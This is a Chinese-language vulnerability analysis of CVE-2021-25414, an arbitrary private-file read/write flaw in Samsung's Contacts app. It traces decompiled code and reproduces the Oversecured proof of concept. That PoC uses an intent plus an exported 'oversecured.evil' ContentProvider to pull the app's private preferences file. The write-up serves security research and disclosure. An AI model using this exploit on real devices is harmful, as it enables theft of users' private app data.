[CVE-2021-25414] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有文件读写漏洞

DateVersionDescriptionAuthor

2022.11.25

1.0

完整的漏洞分析与利用

wnagzihxa1n

0x00 漏洞概述

0x01 触发条件

上线日期应用名包名版本号MD5下载链接

Contacts

com.samsung.android.app.contacts

12.1.10.30

60579c925977ca29b889d32085a0c350

0x02 PoC

0x03 前置知识

0x04 Root Cause Analysis

组件com.samsung.android.contacts.editor.SetProfilePhotoActivity导出

<activity 
        android:configChanges="keyboardHidden|orientation|screenSize" 
        android:hardwareAccelerated="false" 
        android:icon="@mipmap/ic_launcher_contacts" 
        android:label="@string/share_my_profile" 
        android:name="com.samsung.android.contacts.editor.SetProfilePhotoActivity" 
        android:taskAffinity="" 
        android:theme="@style/BackgroundOnlyTheme">
    <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <data android:mimeType="image/*"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
    <intent-filter>
        <action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
        <data android:mimeType="image/*"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>

前面的分析和漏洞《[CVE-2021-25413] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有组件启动漏洞可获取ContentProvider数据》一样

  • https://wnagzihxa1n.gitbook.io/happy-android-security/application_security/cve202125413samsungcontactscomsamsungandroidappcontacts1211030setprofilephotoactivity-dao-chu-cun-za

在调用异步任务的时候,方法doInBackground()事实上被我们构造数据退出去了

// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
@Override  // android.os.AsyncTask
protected Object doInBackground(Object[] arr_object) {
    return this.a(((Void[])arr_object));  // [1]
}

方法a()调用savePhotoFromUriToUri()

// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
protected Void a(Void[] arr_void) {
    SetProfilePhotoActivity setProfilePhotoActivity_ = (SetProfilePhotoActivity)this.setProfilePhotoActivity0.get();
    if(setProfilePhotoActivity_ == null) {
        return null;
    }

    this.savePhotoFromUriToUri(setProfilePhotoActivity_);  // [1]
    return null;
}

跟另外一个漏洞不一样的是,本次走的是[6]调用方法S()

// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
private void savePhotoFromUriToUri(SetProfilePhotoActivity setProfilePhotoActivity) {
    Uri __uri__;
    ClipData __clipData__ = setProfilePhotoActivity.getIntent().getClipData();  // [1]
    if(__clipData__ != null && __clipData__.getItemCount() == 1 && __clipData__.getItemAt(0) != null) {
        __uri__ = __clipData__.getItemAt(0).getUri();  // [2]
        if(!this.setPhotoUri(setProfilePhotoActivity, __uri__)) {  // [3]
            return;
        }
    }
    else {
        __uri__ = null;
    }

    if(__uri__ == null) {
        if(setProfilePhotoActivity.getIntent().getExtras() != null && setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri", null) != null) {
            __uri__ = Uri.parse(setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri"));  // [4]
            goto label_48;
        }

        setProfilePhotoActivity.finish();  // [5]
        return;
    }

    try {
    label_48:
        PhotoDataUtils.S(__uri__, setProfilePhotoActivity.__intent_tmp_photo_uri__, false);  // [6]
    }
    catch(SecurityException securityException0) {
        ...
    }

    ...
}

方法S()初始化了PhotoDataUtils实例后调用方法T()

// com.samsung.android.contacts.editor.n.PhotoDataUtils
public static boolean S(Uri __uri__, Uri __intent_tmp_photo_uri__, boolean z) {
    PhotoDataUtils.getInstance();
    return PhotoDataUtils.mInstance.T(__uri__, __intent_tmp_photo_uri__, ((boolean)(((int)z))));  // [1]
}

[1]构造文件写出的位置,路径外部可控,[2]构造文件读取的位置,路径外部可控,[3]进行读,[4]进行写,读和写两个文件路径都可控,所以此处存在任意私有文件读写漏洞

// com.samsung.android.contacts.editor.n.PhotoDataUtils
public boolean T(Uri __uri__, Uri __intent_tmp_photo_uri__, boolean z) {
    InputStream inputStream;
    FileOutputStream fileOutputStream;
    if(__uri__ != null && __intent_tmp_photo_uri__ != null && !this.N(__uri__)) {
        Context context = ApplicationUtil.getContext();
        try {
            fileOutputStream = context.getContentResolver().openAssetFileDescriptor(__intent_tmp_photo_uri__, "rw").createOutputStream();  // [1]
            inputStream = context.getContentResolver().openInputStream(__uri__);  // [2]
        }
        catch(IOException | NullPointerException nullPointerException) {
            goto label_77;
        }

        try {
            byte[] arr_b = new byte[0x4000];
            int v = 0;
            if(inputStream != null) {
                while(true) {
                    int readCount = inputStream.read(arr_b);  // [3]
                    if(readCount <= 0) {
                        break;
                    }

                    fileOutputStream.write(arr_b, 0, readCount);  // [4]
                    v += readCount;
                }
            }

            AppLog.l("PhotoDataUtils", "Wrote " + v + " bytes for photo " + __uri__.toString());
            goto label_57;
        }
        catch(Throwable throwable2) {
        }

        AppLog.i("PhotoDataUtils", "Failed to write photo: " + __uri__.toString() + " because: " + nullPointerException);

        if(z) {
            context.getContentResolver().delete(__uri__, null, null);
        }

        return false;
    label_97:
        if(z) {
            context.getContentResolver().delete(__uri__, null, null);
        }
        
    label_102:
        if(z) {
            context.getContentResolver().delete(__uri__, null, null);
        }

        return true;
    }

    AppLog.l("PhotoDataUtils", "can not save image " + __uri__ + " " + __intent_tmp_photo_uri__);
    return false;
}

完整的逻辑调用图

0x05 调试与利用

Oversecured实验室的PoC

String path = new File(getApplicationInfo().dataDir, "dump").getAbsolutePath();
String theft = "/data/data/com.samsung.android.app.contacts/shared_prefs/SamsungAnalyticsPrefs.xml";

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("shared_photo_uri", "content://com.samsung.contacts.backup" + theft); // input
i.putExtra("temp_photo_uri", "content://oversecured.evil/?path=" + path); // output
i.putExtra("cropped_photo_uri", "");
i.putExtra("mimeType", "x");
startActivity(i);

new Handler().postDelayed(() -> {
    try {
        Log.d("evil", IOUtils.toString(new FileInputStream(path)));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}, 1000);

构造一个ContentProvider用于文件操作

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    try {
        return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
    } catch (Throwable th) {
        return null;
    }
}

Manifest配置为导出,这样才可以被三方应用调用

<provider android:name=".MyContentProvider" android:authorities="oversecured.evil" android:exported="true" />

0x06 漏洞研究

0x07 References

《Two weeks of securing Samsung devices: Part 2》

  • https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-2/

附录:调试过程记录

Last updated